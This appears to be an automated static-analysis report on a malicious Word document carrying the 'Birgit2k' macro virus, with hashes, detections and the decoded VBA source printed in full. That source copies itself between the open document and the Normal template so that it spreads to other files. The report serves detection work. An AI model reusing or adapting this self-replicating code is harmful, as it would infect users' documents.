Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e200516f05f25ea3…

MALICIOUS

Office (OLE)

27.5 KB Created: 2000-09-09 11:34:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: e48a615f14a4a0d90efed0977b16e562 SHA-1: c13e25c696fab58d33f7b6b21e931a214436db74 SHA-256: e200516f05f25ea3406731a8081d2a485435394de787d20fe9669d611d0c8389
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a Microsoft Word document containing VBA macros. The 'Document_Open' heuristic firing and the presence of a 'macros.bas' file indicate macro execution. The script explicitly mentions 'Birgit2k' and '$MOOTHI E's Macro Virus Creator 2000 Ver. 1.0', suggesting a macro-based virus designed to infect other documents. The macros attempt to copy themselves to the Normal template and the active document.

Heuristics 3

  • ClamAV: Doc.Trojan.Hmc-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hmc-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1452 bytes
SHA-256: 3f77d26f85d7ebb9b5a6ccbdaf37cb978c006670e2f184482f031e2473ea90ef
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Modul1"
Private Sub Document_Close()

'Author:   Doctor Rave
'Name:     Birgit2k
'Comments:
'Origin:   Swiss
'This code generated by $MOOTHiE's Macro Virus Creator 2000 Ver. 1.0

Dim Norm, NormCode, NormLines, Doc, DocCode, DocLines
Set Norm = NormalTemplate.VBProject.VBComponents(1)
Set Doc = ActiveDocument.VBProject.VBComponents(1)
Set DocCode = Doc.CodeModule: Set NormCode = Norm.CodeModule

If DocCode.lines(23, 1) = " Then
    For y = 1 To DocCode.countoflines
DocCode.replacelines y, "$MOOTHiE's Macro Virus Creator 2000 Ver. 1.0"
    Next y
    For x = 2 To NormCode.countoflines
DocCode.insertlines 26 + x, NormCode.lines(x, 1)
   Next x
End If

If NormCode.lines(23, 1) = "" Then
    For y = 1 To NormCode.countoflines
NormCode.replacelines y, "$MOOTHiE's Macro Virus Creator 2000 Ver. 1.0"
    Next y
    For x = 1 To DocCode.countoflines
NormCode.insertlines 26 + x, DocCode.lines(x, 1)
    Next x
End If
End Sub

Private Sub Document_Open()
End Sub

Private Sub Document_New()
MsgBox "You have been infected by the "Birgit2k" virus!  Thank you, and have a nice day.", vbInformation
End Sub